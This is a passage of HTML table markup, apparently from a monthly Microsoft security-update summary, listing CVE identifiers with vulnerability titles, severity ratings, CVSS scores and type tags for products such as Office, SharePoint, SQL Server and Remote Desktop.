  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55057"><span>CVE-2026-55057</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl75" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55121"><span>CVE-2026-55121</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55042"><span>CVE-2026-55042</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55139"><span>CVE-2026-55139</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50665"><span>CVE-2026-50665</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56192"><span>CVE-2026-56192</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56195"><span>CVE-2026-56195</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47290"><span>CVE-2026-47290</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50301"><span>CVE-2026-50301</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55017"><span>CVE-2026-55017</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55125"><span>CVE-2026-55125</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55133"><span>CVE-2026-55133</span></a></td>
  <td width="256" class="xl74">Microsoft OneNote
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58636"><span>CVE-2026-58636</span></a></td>
  <td width="256" class="xl74">Microsoft PC Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50438"><span>CVE-2026-50438</span></a></td>
  <td width="256" class="xl74">Microsoft PC Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58647"><span>CVE-2026-58647</span></a></td>
  <td width="256" class="xl74">Microsoft PowerBI
  Report Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55052"><span>CVE-2026-55052</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58277"><span>CVE-2026-58277</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55051"><span>CVE-2026-55051</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54108"><span>CVE-2026-54108</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55016"><span>CVE-2026-55016</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55019"><span>CVE-2026-55019</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55020"><span>CVE-2026-55020</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55021"><span>CVE-2026-55021</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55030"><span>CVE-2026-55030</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55034"><span>CVE-2026-55034</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55126"><span>CVE-2026-55126</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55135"><span>CVE-2026-55135</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56157"><span>CVE-2026-56157</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47296"><span>CVE-2026-47296</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55002"><span>CVE-2026-55002</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47295"><span>CVE-2026-47295</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50468"><span>CVE-2026-50468</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54116"><span>CVE-2026-54116</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42900"><span>CVE-2026-42900</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49784"><span>CVE-2026-49784</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50356"><span>CVE-2026-50356</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49165"><span>CVE-2026-49165</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54993"><span>CVE-2026-54993</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58610"><span>CVE-2026-58610</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55050"><span>CVE-2026-55050</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55124"><span>CVE-2026-55124</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55142"><span>CVE-2026-55142</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55032"><span>CVE-2026-55032</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55055"><span>CVE-2026-55055</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55038"><span>CVE-2026-55038</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55134"><span>CVE-2026-55134</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55128"><span>CVE-2026-55128</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55130"><span>CVE-2026-55130</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50359"><span>CVE-2026-50359</span></a></td>
  <td width="256" class="xl74">Microsoft XML Core
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57097"><span>CVE-2026-57097</span></a></td>
  <td width="256" class="xl74">Microsoft XML Security
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50346"><span>CVE-2026-50346</span></a></td>
  <td width="256" class="xl74">Netlogon RPC Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50402"><span>CVE-2026-50402</span></a></td>
  <td width="256" class="xl74">NTFS Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50506"><span>CVE-2026-50506</span></a></td>
  <td width="256" class="xl74">OData for ASP.NET and
  ASP.NET Core Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45646"><span>CVE-2026-45646</span></a></td>
  <td width="256" class="xl74">OData for ASP.NET and
  ASP.NET Core Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54989"><span>CVE-2026-54989</span></a></td>
  <td width="256" class="xl74">Quality Windows
  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50365"><span>CVE-2026-50365</span></a></td>
  <td width="256" class="xl74">Remote Access
  Management service/API (RPC server) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54990"><span>CVE-2026-54990</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58594"><span>CVE-2026-58594</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56190"><span>CVE-2026-56190</span></a></td>
  <td width="256" class="xl74">Remote Desktop
  Protocol Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49783"><span>CVE-2026-49783</span></a></td>
  <td width="256" class="xl74">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42990"><span>CVE-2026-42990</span></a></td>
  <td width="256" class="xl74">SQL Server ODBC driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49168"><span>CVE-2026-49168</span></a></td>
  <td width="256" class="xl74">Storage Spaces Direct
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48581"><span>CVE-2026-48581</span></a></td>
  <td width="256" class="xl74">Surface Broker SDMA
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49180"><span>CVE-2026-49180</span></a></td>
  <td width="256" class="xl74">Universal Plug and
  Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50455"><span>CVE-2026-50455</span></a></td>
  <td width="256" class="xl74">Universal Plug and
  Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54111"><span>CVE-2026-54111</span></a></td>
  <td width="256" class="xl74">Universal Print
  Management Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58543"><span>CVE-2026-58543</span></a></td>
  <td width="256" class="xl74">Universal Print
  Management Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58601"><span>CVE-2026-58601</span></a></td>
  <td width="256" class="xl74">Virtual Hard Disk
  (VHD) Miniport Driver Elevation of Privilege Vulernability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50520"><span>CVE-2026-50520</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45496"><span>CVE-2026-45496</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57101"><span>CVE-2026-57101</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57102"><span>CVE-2026-57102</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47305"><span>CVE-2026-47305</span></a></td>
  <td width="256" class="xl74">Visual Studio Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49805"><span>CVE-2026-49805</span></a></td>
